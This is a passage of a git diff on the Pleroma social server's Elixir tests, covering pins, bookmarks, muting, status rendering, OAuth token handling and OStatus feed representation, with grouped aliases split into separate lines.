	assert %{"id" => ^id_str, "pinned" => false} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unpin")
	\|> json_response(200)

	assert [] =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response(200)
	end

	test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do
	{:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})

	id_str_one = to_string(activity_one.id)

	assert %{"id" => ^id_str_one, "pinned" => true} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{id_str_one}/pin")
	\|> json_response(200)

	user = refresh_record(user)

	assert %{"error" => "You have already pinned the maximum number of statuses"} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity_two.id}/pin")
	\|> json_response(400)
	end

	test "Status rich-media Card", %{conn: conn, user: user} do
	Pleroma.Config.put([:rich_media, :enabled], true)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "http://example.com/ogp"})

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/card")
	\|> json_response(200)

	assert response == %{
	"image" => "http://ia.media-imdb.com/images/rock.jpg",
	"provider_name" => "www.imdb.com",
	"provider_url" => "http://www.imdb.com",
	"title" => "The Rock",
	"type" => "link",
	"url" => "http://www.imdb.com/title/tt0117500/",
	"description" => nil,
	"pleroma" => %{
	"opengraph" => %{
	"image" => "http://ia.media-imdb.com/images/rock.jpg",
	"title" => "The Rock",
	"type" => "video.movie",
	"url" => "http://www.imdb.com/title/tt0117500/"
	}
	}
	}

	Pleroma.Config.put([:rich_media, :enabled], false)
	end
	end

	test "bookmarks" do
	user = insert(:user)
	for_user = insert(:user)

	{:ok, activity1} =
	CommonAPI.post(user, %{
	"status" => "heweoo?"
	})

	{:ok, activity2} =
	CommonAPI.post(user, %{
	"status" => "heweoo!"
	})

	response1 =
	build_conn()
	\|> assign(:user, for_user)
	\|> post("/api/v1/statuses/#{activity1.id}/bookmark")

	assert json_response(response1, 200)["bookmarked"] == true

	response2 =
	build_conn()
	\|> assign(:user, for_user)
	\|> post("/api/v1/statuses/#{activity2.id}/bookmark")

	assert json_response(response2, 200)["bookmarked"] == true

	bookmarks =
	build_conn()
	\|> assign(:user, for_user)
	\|> get("/api/v1/bookmarks")

	assert [json_response(response2, 200), json_response(response1, 200)] ==
	json_response(bookmarks, 200)

	response1 =
	build_conn()
	\|> assign(:user, for_user)
	\|> post("/api/v1/statuses/#{activity1.id}/unbookmark")

	assert json_response(response1, 200)["bookmarked"] == false

	bookmarks =
	build_conn()
	\|> assign(:user, for_user)
	\|> get("/api/v1/bookmarks")

	assert [json_response(response2, 200)] == json_response(bookmarks, 200)
	end

	describe "conversation muting" do
	setup do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "HIE"})

	[user: user, activity: activity]
	end

	test "mute conversation", %{conn: conn, user: user, activity: activity} do
	id_str = to_string(activity.id)

	assert %{"id" => ^id_str, "muted" => true} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/mute")
	\|> json_response(200)
	end

	test "unmute conversation", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.add_mute(user, activity)

	id_str = to_string(activity.id)
	user = refresh_record(user)

	assert %{"id" => ^id_str, "muted" => false} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unmute")
	\|> json_response(200)
	end
	end
	end
	diff --git a/test/web/mastodon_api/status_view_test.exs b/test/web/mastodon_api/status_view_test.exs
	index 2106253f2..0dc9c538c 100644
	--- a/test/web/mastodon_api/status_view_test.exs
	+++ b/test/web/mastodon_api/status_view_test.exs
	@@ -1,293 +1,294 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
	use Pleroma.DataCase

	- alias Pleroma.Web.MastodonAPI.{StatusView, AccountView}
	+ alias Pleroma.Web.MastodonAPI.AccountView
	+ alias Pleroma.Web.MastodonAPI.StatusView
	alias Pleroma.User
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Activity
	import Pleroma.Factory
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "returns a temporary ap_id based user for activities missing db users" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})

	Repo.delete(user)
	Cachex.clear(:user_cache)

	%{account: ms_user} = StatusView.render("status.json", activity: activity)

	assert ms_user.acct == "erroruser@example.com"
	end

	test "tries to get a user by nickname if fetching by ap_id doesn't work" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})

	{:ok, user} =
	user
	\|> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"})
	\|> Repo.update()

	Cachex.clear(:user_cache)

	result = StatusView.render("status.json", activity: activity)

	assert result[:account][:id] == to_string(user.id)
	end

	test "a note with null content" do
	note = insert(:note_activity)

	data =
	note.data
	\|> put_in(["object", "content"], nil)

	note =
	note
	\|> Map.put(:data, data)

	User.get_cached_by_ap_id(note.data["actor"])

	status = StatusView.render("status.json", %{activity: note})

	assert status.content == ""
	end

	test "a note activity" do
	note = insert(:note_activity)
	user = User.get_cached_by_ap_id(note.data["actor"])

	status = StatusView.render("status.json", %{activity: note})

	created_at =
	(note.data["object"]["published"] \|\| "")
	\|> String.replace(~r/\.\d+Z/, ".000Z")

	expected = %{
	id: to_string(note.id),
	uri: note.data["object"]["id"],
	url: note.data["object"]["id"],
	account: AccountView.render("account.json", %{user: user}),
	in_reply_to_id: nil,
	in_reply_to_account_id: nil,
	card: nil,
	reblog: nil,
	content: HtmlSanitizeEx.basic_html(note.data["object"]["content"]),
	created_at: created_at,
	reblogs_count: 0,
	replies_count: 0,
	favourites_count: 0,
	reblogged: false,
	bookmarked: false,
	favourited: false,
	muted: false,
	pinned: false,
	sensitive: false,
	spoiler_text: note.data["object"]["summary"],
	visibility: "public",
	media_attachments: [],
	mentions: [],
	tags: [
	%{
	name: "#{note.data["object"]["tag"]}",
	url: "/tag/#{note.data["object"]["tag"]}"
	}
	],
	application: %{
	name: "Web",
	website: nil
	},
	language: nil,
	emojis: [
	%{
	shortcode: "2hu",
	url: "corndog.png",
	static_url: "corndog.png",
	visible_in_picker: false
	}
	]
	}

	assert status == expected
	end

	test "a reply" do
	note = insert(:note_activity)
	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{"status" => "he", "in_reply_to_status_id" => note.id})

	status = StatusView.render("status.json", %{activity: activity})

	assert status.in_reply_to_id == to_string(note.id)

	[status] = StatusView.render("index.json", %{activities: [activity], as: :activity})

	assert status.in_reply_to_id == to_string(note.id)
	end

	test "contains mentions" do
	incoming = File.read!("test/fixtures/incoming_reply_mastodon.xml")
	# a user with this ap id might be in the cache.
	recipient = "https://pleroma.soykaf.com/users/lain"
	user = insert(:user, %{ap_id: recipient})

	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	status = StatusView.render("status.json", %{activity: activity})

	actor = Repo.get_by(User, ap_id: activity.actor)

	assert status.mentions ==
	Enum.map([user, actor], fn u -> AccountView.render("mention.json", %{user: u}) end)
	end

	test "attachments" do
	object = %{
	"type" => "Image",
	"url" => [
	%{
	"mediaType" => "image/png",
	"href" => "someurl"
	}
	],
	"uuid" => 6
	}

	expected = %{
	id: "1638338801",
	type: "image",
	url: "someurl",
	remote_url: "someurl",
	preview_url: "someurl",
	text_url: "someurl",
	description: nil
	}

	assert expected == StatusView.render("attachment.json", %{attachment: object})

	# If theres a "id", use that instead of the generated one
	object = Map.put(object, "id", 2)
	assert %{id: "2"} = StatusView.render("attachment.json", %{attachment: object})
	end

	test "a reblog" do
	user = insert(:user)
	activity = insert(:note_activity)

	{:ok, reblog, _} = CommonAPI.repeat(activity.id, user)

	represented = StatusView.render("status.json", %{for: user, activity: reblog})

	assert represented[:id] == to_string(reblog.id)
	assert represented[:reblog][:id] == to_string(activity.id)
	assert represented[:emojis] == []
	end

	test "a peertube video" do
	user = insert(:user)

	{:ok, object} =
	ActivityPub.fetch_object_from_id(
	"https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	)

	%Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])

	represented = StatusView.render("status.json", %{for: user, activity: activity})

	assert represented[:id] == to_string(activity.id)
	assert length(represented[:media_attachments]) == 1
	end

	describe "build_tags/1" do
	test "it returns a a dictionary tags" do
	object_tags = [
	"fediverse",
	"mastodon",
	"nextcloud",
	%{
	"href" => "https://kawen.space/users/lain",
	"name" => "@lain@kawen.space",
	"type" => "Mention"
	}
	]

	assert StatusView.build_tags(object_tags) == [
	%{name: "fediverse", url: "/tag/fediverse"},
	%{name: "mastodon", url: "/tag/mastodon"},
	%{name: "nextcloud", url: "/tag/nextcloud"}
	]
	end
	end

	describe "rich media cards" do
	test "a rich media card without a site name renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	image: page_url <> "/example.jpg",
	title: "Example website"
	}

	%{provider_name: "example.com"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card without a site name or image renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	title: "Example website"
	}

	%{provider_name: "example.com"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card without an image renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	site_name: "Example site name",
	title: "Example website"
	}

	%{provider_name: "Example site name"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card with all relevant data renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	site_name: "Example site name",
	title: "Example website",
	image: page_url <> "/example.jpg",
	description: "Example description"
	}

	%{provider_name: "Example site name"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end
	end
	end
	diff --git a/test/web/oauth/authorization_test.exs b/test/web/oauth/authorization_test.exs
	index 3b1ddada8..81618e935 100644
	--- a/test/web/oauth/authorization_test.exs
	+++ b/test/web/oauth/authorization_test.exs
	@@ -1,84 +1,85 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.AuthorizationTest do
	use Pleroma.DataCase
	- alias Pleroma.Web.OAuth.{Authorization, App}
	+ alias Pleroma.Web.OAuth.Authorization
	+ alias Pleroma.Web.OAuth.App
	import Pleroma.Factory

	test "create an authorization token for a valid app" do
	{:ok, app} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client",
	scopes: "scope",
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth} = Authorization.create_authorization(app, user)

	assert auth.user_id == user.id
	assert auth.app_id == app.id
	assert String.length(auth.token) > 10
	assert auth.used == false
	end

	test "use up a token" do
	{:ok, app} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client",
	scopes: "scope",
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth} = Authorization.create_authorization(app, user)

	{:ok, auth} = Authorization.use_token(auth)

	assert auth.used == true

	assert {:error, "already used"} == Authorization.use_token(auth)

	expired_auth = %Authorization{
	user_id: user.id,
	app_id: app.id,
	valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -10),
	token: "mytoken",
	used: false
	}

	{:ok, expired_auth} = Repo.insert(expired_auth)

	assert {:error, "token expired"} == Authorization.use_token(expired_auth)
	end

	test "delete authorizations" do
	{:ok, app} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client",
	scopes: "scope",
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth} = Authorization.create_authorization(app, user)
	{:ok, auth} = Authorization.use_token(auth)

	Authorization.delete_user_authorizations(user)

	{_, invalid} = Authorization.use_token(auth)

	assert auth != invalid
	end
	end
	diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs
	index e0d3cb55f..2315f9a34 100644
	--- a/test/web/oauth/oauth_controller_test.exs
	+++ b/test/web/oauth/oauth_controller_test.exs
	@@ -1,199 +1,200 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.OAuthControllerTest do
	use Pleroma.Web.ConnCase
	import Pleroma.Factory

	alias Pleroma.Repo
	- alias Pleroma.Web.OAuth.{Authorization, Token}
	+ alias Pleroma.Web.OAuth.Authorization
	+ alias Pleroma.Web.OAuth.Token

	test "redirects with oauth authorization" do
	user = insert(:user)
	app = insert(:oauth_app)

	conn =
	build_conn()
	\|> post("/oauth/authorize", %{
	"authorization" => %{
	"name" => user.nickname,
	"password" => "test",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"state" => "statepassed"
	}
	})

	target = redirected_to(conn)
	assert target =~ app.redirect_uris

	query = URI.parse(target).query \|> URI.query_decoder() \|> Map.new()

	assert %{"state" => "statepassed", "code" => code} = query
	assert Repo.get_by(Authorization, token: code)
	end

	test "correctly handles wrong credentials", %{conn: conn} do
	user = insert(:user)
	app = insert(:oauth_app)

	result =
	conn
	\|> post("/oauth/authorize", %{
	"authorization" => %{
	"name" => user.nickname,
	"password" => "wrong",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"state" => "statepassed"
	}
	})
	\|> html_response(:unauthorized)

	# Keep the details
	assert result =~ app.client_id
	assert result =~ app.redirect_uris

	# Error message
	assert result =~ "Invalid"
	end

	test "issues a token for an all-body request" do
	user = insert(:user)
	app = insert(:oauth_app)

	{:ok, auth} = Authorization.create_authorization(app, user)

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "authorization_code",
	"code" => auth.token,
	"redirect_uri" => app.redirect_uris,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert %{"access_token" => token} = json_response(conn, 200)
	assert Repo.get_by(Token, token: token)
	end

	test "issues a token for `password` grant_type with valid credentials" do
	password = "testpassword"
	user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))

	app = insert(:oauth_app)

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "password",
	"username" => user.nickname,
	"password" => password,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert %{"access_token" => token} = json_response(conn, 200)
	assert Repo.get_by(Token, token: token)
	end

	test "issues a token for request with HTTP basic auth client credentials" do
	user = insert(:user)
	app = insert(:oauth_app)

	{:ok, auth} = Authorization.create_authorization(app, user)

	app_encoded =
	(URI.encode_www_form(app.client_id) <> ":" <> URI.encode_www_form(app.client_secret))
	\|> Base.encode64()

	conn =
	build_conn()
	\|> put_req_header("authorization", "Basic " <> app_encoded)
	\|> post("/oauth/token", %{
	"grant_type" => "authorization_code",
	"code" => auth.token,
	"redirect_uri" => app.redirect_uris
	})

	assert %{"access_token" => token} = json_response(conn, 200)
	assert Repo.get_by(Token, token: token)
	end

	test "rejects token exchange with invalid client credentials" do
	user = insert(:user)
	app = insert(:oauth_app)

	{:ok, auth} = Authorization.create_authorization(app, user)

	conn =
	build_conn()
	\|> put_req_header("authorization", "Basic JTIxOiVGMCU5RiVBNCVCNwo=")
	\|> post("/oauth/token", %{
	"grant_type" => "authorization_code",
	"code" => auth.token,
	"redirect_uri" => app.redirect_uris
	})

	assert resp = json_response(conn, 400)
	assert %{"error" => _} = resp
	refute Map.has_key?(resp, "access_token")
	end

	test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	password = "testpassword"
	user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
	info_change = Pleroma.User.Info.confirmation_changeset(user.info, :unconfirmed)

	{:ok, user} =
	user
	\|> Ecto.Changeset.change()
	\|> Ecto.Changeset.put_embed(:info, info_change)
	\|> Repo.update()

	refute Pleroma.User.auth_active?(user)

	app = insert(:oauth_app)

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "password",
	"username" => user.nickname,
	"password" => password,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert resp = json_response(conn, 403)
	assert %{"error" => _} = resp
	refute Map.has_key?(resp, "access_token")
	end

	test "rejects an invalid authorization code" do
	app = insert(:oauth_app)

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "authorization_code",
	"code" => "Imobviouslyinvalid",
	"redirect_uri" => app.redirect_uris,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert resp = json_response(conn, 400)
	assert %{"error" => _} = json_response(conn, 400)
	refute Map.has_key?(resp, "access_token")
	end
	end
	diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs
	index 9a241d61a..4dab4a308 100644
	--- a/test/web/oauth/token_test.exs
	+++ b/test/web/oauth/token_test.exs
	@@ -1,68 +1,70 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.TokenTest do
	use Pleroma.DataCase
	- alias Pleroma.Web.OAuth.{App, Token, Authorization}
	+ alias Pleroma.Web.OAuth.App
	+ alias Pleroma.Web.OAuth.Authorization
	+ alias Pleroma.Web.OAuth.Token
	alias Pleroma.Repo

	import Pleroma.Factory

	test "exchanges a auth token for an access token" do
	{:ok, app} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client",
	scopes: "scope",
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth} = Authorization.create_authorization(app, user)

	{:ok, token} = Token.exchange_token(app, auth)

	assert token.app_id == app.id
	assert token.user_id == user.id
	assert String.length(token.token) > 10
	assert String.length(token.refresh_token) > 10

	auth = Repo.get(Authorization, auth.id)
	{:error, "already used"} = Token.exchange_token(app, auth)
	end

	test "deletes all tokens of a user" do
	{:ok, app1} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client1",
	scopes: "scope",
	redirect_uris: "url"
	})
	)

	{:ok, app2} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client2",
	scopes: "scope",
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth1} = Authorization.create_authorization(app1, user)
	{:ok, auth2} = Authorization.create_authorization(app2, user)

	{:ok, _token1} = Token.exchange_token(app1, auth1)
	{:ok, _token2} = Token.exchange_token(app2, auth2)

	{tokens, _} = Token.delete_user_tokens(user)

	assert tokens == 2
	end
	end
	diff --git a/test/web/ostatus/activity_representer_test.exs b/test/web/ostatus/activity_representer_test.exs
	index 0869f2fd5..eebc5c040 100644
	--- a/test/web/ostatus/activity_representer_test.exs
	+++ b/test/web/ostatus/activity_representer_test.exs
	@@ -1,303 +1,305 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OStatus.ActivityRepresenterTest do
	use Pleroma.DataCase

	alias Pleroma.Web.OStatus.ActivityRepresenter
	- alias Pleroma.{User, Activity, Object}
	+ alias Pleroma.Activity
	+ alias Pleroma.User
	+ alias Pleroma.Object
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.OStatus

	import Pleroma.Factory
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "an external note activity" do
	incoming = File.read!("test/fixtures/mastodon-note-cw.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	user = User.get_cached_by_ap_id(activity.data["actor"])

	tuple = ActivityRepresenter.to_simple_form(activity, user)

	res = :xmerl.export_simple_content(tuple, :xmerl_xml) \|> IO.iodata_to_binary()

	assert String.contains?(
	res,
	~s{<link type="text/html" href="https://mastodon.social/users/lambadalambda/updates/2314748" rel="alternate"/>}
	)
	end

	test "a note activity" do
	note_activity = insert(:note_activity)

	user = User.get_cached_by_ap_id(note_activity.data["actor"])

	expected = """
	<activity:object-type>http://activitystrea.ms/schema/1.0/note</activity:object-type>
	<activity:verb>http://activitystrea.ms/schema/1.0/post</activity:verb>
	<id>#{note_activity.data["object"]["id"]}</id>
	<title>New note by #{user.nickname}</title>
	<content type="html">#{note_activity.data["object"]["content"]}</content>
	<published>#{note_activity.data["object"]["published"]}</published>
	<updated>#{note_activity.data["object"]["published"]}</updated>
	<ostatus:conversation ref="#{note_activity.data["context"]}">#{note_activity.data["context"]}</ostatus:conversation>
	<link ref="#{note_activity.data["context"]}" rel="ostatus:conversation" />
	<summary>#{note_activity.data["object"]["summary"]}</summary>
	<link type="application/atom+xml" href="#{note_activity.data["object"]["id"]}" rel="self" />
	<link type="text/html" href="#{note_activity.data["object"]["id"]}" rel="alternate" />
	<category term="2hu"/>
	<link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/collection" href="http://activityschema.org/collection/public"/>
	<link name="2hu" rel="emoji" href="corndog.png" />
	"""

	tuple = ActivityRepresenter.to_simple_form(note_activity, user)

	res = :xmerl.export_simple_content(tuple, :xmerl_xml) \|> IO.iodata_to_binary()

	assert clean(res) == clean(expected)
	end

	test "a reply note" do
	note = insert(:note_activity)
	answer = insert(:note_activity)
	object = answer.data["object"]
	object = Map.put(object, "inReplyTo", note.data["object"]["id"])

	data = %{answer.data \| "object" => object}
	answer = %{answer \| data: data}

	note_object = Object.get_by_ap_id(note.data["object"]["id"])

	Repo.update!(
	Object.change(note_object, %{data: Map.put(note_object.data, "external_url", "someurl")})
	)

	user = User.get_cached_by_ap_id(answer.data["actor"])

	expected = """
	<activity:object-type>http://activitystrea.ms/schema/1.0/note</activity:object-type>
	<activity:verb>http://activitystrea.ms/schema/1.0/post</activity:verb>
	<id>#{answer.data["object"]["id"]}</id>
	<title>New note by #{user.nickname}</title>
	<content type="html">#{answer.data["object"]["content"]}</content>
	<published>#{answer.data["object"]["published"]}</published>
	<updated>#{answer.data["object"]["published"]}</updated>
	<ostatus:conversation ref="#{answer.data["context"]}">#{answer.data["context"]}</ostatus:conversation>
	<link ref="#{answer.data["context"]}" rel="ostatus:conversation" />
	<summary>2hu</summary>
	<link type="application/atom+xml" href="#{answer.data["object"]["id"]}" rel="self" />
	<link type="text/html" href="#{answer.data["object"]["id"]}" rel="alternate" />
	<category term="2hu"/>
	<thr:in-reply-to ref="#{note.data["object"]["id"]}" href="someurl" />
	<link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/collection" href="http://activityschema.org/collection/public"/>
	<link name="2hu" rel="emoji" href="corndog.png" />
	"""

	tuple = ActivityRepresenter.to_simple_form(answer, user)

	res = :xmerl.export_simple_content(tuple, :xmerl_xml) \|> IO.iodata_to_binary()

	assert clean(res) == clean(expected)
	end

	test "an announce activity" do
	note = insert(:note_activity)
	user = insert(:user)
	object = Object.get_cached_by_ap_id(note.data["object"]["id"])

	{:ok, announce, _object} = ActivityPub.announce(user, object)

	announce = Repo.get(Activity, announce.id)

	note_user = User.get_cached_by_ap_id(note.data["actor"])
	note = Repo.get(Activity, note.id)

	note_xml =
	ActivityRepresenter.to_simple_form(note, note_user, true)
	\|> :xmerl.export_simple_content(:xmerl_xml)
	\|> to_string

	expected = """
	<activity:object-type>http://activitystrea.ms/schema/1.0/activity</activity:object-type>
	<activity:verb>http://activitystrea.ms/schema/1.0/share</activity:verb>
	<id>#{announce.data["id"]}</id>
	<title>#{user.nickname} repeated a notice</title>
	<content type="html">RT #{note.data["object"]["content"]}</content>
	<published>#{announce.data["published"]}</published>
	<updated>#{announce.data["published"]}</updated>
	<ostatus:conversation ref="#{announce.data["context"]}">#{announce.data["context"]}</ostatus:conversation>
	<link ref="#{announce.data["context"]}" rel="ostatus:conversation" />
	<link rel="self" type="application/atom+xml" href="#{announce.data["id"]}"/>
	<activity:object>
	#{note_xml}
	</activity:object>
	<link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/person" href="#{
	note.data["actor"]
	}"/>
	<link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/collection" href="http://activityschema.org/collection/public"/>
	"""

	announce_xml =
	ActivityRepresenter.to_simple_form(announce, user)
	\|> :xmerl.export_simple_content(:xmerl_xml)
	\|> to_string

	assert clean(expected) == clean(announce_xml)
	end

	test "a like activity" do
	note = insert(:note)
	user = insert(:user)
	{:ok, like, _note} = ActivityPub.like(user, note)

	tuple = ActivityRepresenter.to_simple_form(like, user)
	refute is_nil(tuple)

	res = :xmerl.export_simple_content(tuple, :xmerl_xml) \|> IO.iodata_to_binary()

	expected = """
	<activity:verb>http://activitystrea.ms/schema/1.0/favorite</activity:verb>
	<id>#{like.data["id"]}</id>
	<title>New favorite by #{user.nickname}</title>
	<content type="html">#{user.nickname} favorited something</content>
	<published>#{like.data["published"]}</published>
	<updated>#{like.data["published"]}</updated>
	<activity:object>
	<activity:object-type>http://activitystrea.ms/schema/1.0/note</activity:object-type>
	<id>#{note.data["id"]}</id>
	</activity:object>
	<ostatus:conversation ref="#{like.data["context"]}">#{like.data["context"]}</ostatus:conversation>
	<link ref="#{like.data["context"]}" rel="ostatus:conversation" />
	<link rel="self" type="application/atom+xml" href="#{like.data["id"]}"/>
	<thr:in-reply-to ref="#{note.data["id"]}" />
	<link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/person" href="#{
	note.data["actor"]
	}"/>
	<link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/collection" href="http://activityschema.org/collection/public"/>
	"""

	assert clean(res) == clean(expected)
	end

	test "a follow activity" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, activity} =
	ActivityPub.insert(%{
	"type" => "Follow",
	"actor" => follower.ap_id,
	"object" => followed.ap_id,
	"to" => [followed.ap_id]
	})

	tuple = ActivityRepresenter.to_simple_form(activity, follower)

	refute is_nil(tuple)

	res = :xmerl.export_simple_content(tuple, :xmerl_xml) \|> IO.iodata_to_binary()

	expected = """
	<activity:object-type>http://activitystrea.ms/schema/1.0/activity</activity:object-type>
	<activity:verb>http://activitystrea.ms/schema/1.0/follow</activity:verb>
	<id>#{activity.data["id"]}</id>
	<title>#{follower.nickname} started following #{activity.data["object"]}</title>
	<content type="html"> #{follower.nickname} started following #{activity.data["object"]}</content>
	<published>#{activity.data["published"]}</published>
	<updated>#{activity.data["published"]}</updated>
	<activity:object>
	<activity:object-type>http://activitystrea.ms/schema/1.0/person</activity:object-type>
	<id>#{activity.data["object"]}</id>
	<uri>#{activity.data["object"]}</uri>
	</activity:object>
	<link rel="self" type="application/atom+xml" href="#{activity.data["id"]}"/>
	<link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/person" href="#{
	activity.data["object"]
	}"/>
	"""

	assert clean(res) == clean(expected)
	end

	test "an unfollow activity" do
	follower = insert(:user)
	followed = insert(:user)
	{:ok, _activity} = ActivityPub.follow(follower, followed)
	{:ok, activity} = ActivityPub.unfollow(follower, followed)

	tuple = ActivityRepresenter.to_simple_form(activity, follower)

	refute is_nil(tuple)

	res = :xmerl.export_simple_content(tuple, :xmerl_xml) \|> IO.iodata_to_binary()

	expected = """
	<activity:object-type>http://activitystrea.ms/schema/1.0/activity</activity:object-type>
	<activity:verb>http://activitystrea.ms/schema/1.0/unfollow</activity:verb>
	<id>#{activity.data["id"]}</id>
	<title>#{follower.nickname} stopped following #{followed.ap_id}</title>
	<content type="html"> #{follower.nickname} stopped following #{followed.ap_id}</content>
	<published>#{activity.data["published"]}</published>
	<updated>#{activity.data["published"]}</updated>
	<activity:object>
	<activity:object-type>http://activitystrea.ms/schema/1.0/person</activity:object-type>
	<id>#{followed.ap_id}</id>
	<uri>#{followed.ap_id}</uri>
	</activity:object>
	<link rel="self" type="application/atom+xml" href="#{activity.data["id"]}"/>
	<link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/person" href="#{
	followed.ap_id
	}"/>
	"""

	assert clean(res) == clean(expected)
	end

	test "a delete" do
	user = insert(:user)

	activity = %Activity{
	data: %{
	"id" => "ap_id",
	"type" => "Delete",
	"actor" => user.ap_id,
	"object" => "some_id",
	"published" => "2017-06-18T12:00:18+00:00"
	}
	}

	tuple = ActivityRepresenter.to_simple_form(activity, nil)

	refute is_nil(tuple)

	res = :xmerl.export_simple_content(tuple, :xmerl_xml) \|> IO.iodata_to_binary()

	expected = """
	<activity:object-type>http://activitystrea.ms/schema/1.0/activity</activity:object-type>
	<activity:verb>http://activitystrea.ms/schema/1.0/delete</activity:verb>
	<id>#{activity.data["object"]}</id>
	<title>An object was deleted</title>
	<content type="html">An object was deleted</content>
	<published>#{activity.data["published"]}</published>
	<updated>#{activity.data["published"]}</updated>
	"""

	assert clean(res) == clean(expected)
	end

	test "an unknown activity" do
	tuple = ActivityRepresenter.to_simple_form(%Activity{}, nil)
	assert is_nil(tuple)
	end

	defp clean(string) do
	String.replace(string, ~r/\s/, "")
	end
	end
	diff --git a/test/web/ostatus/feed_representer_test.exs b/test/web/ostatus/feed_representer_test.exs
	index 55717dec7..efd4e7217 100644
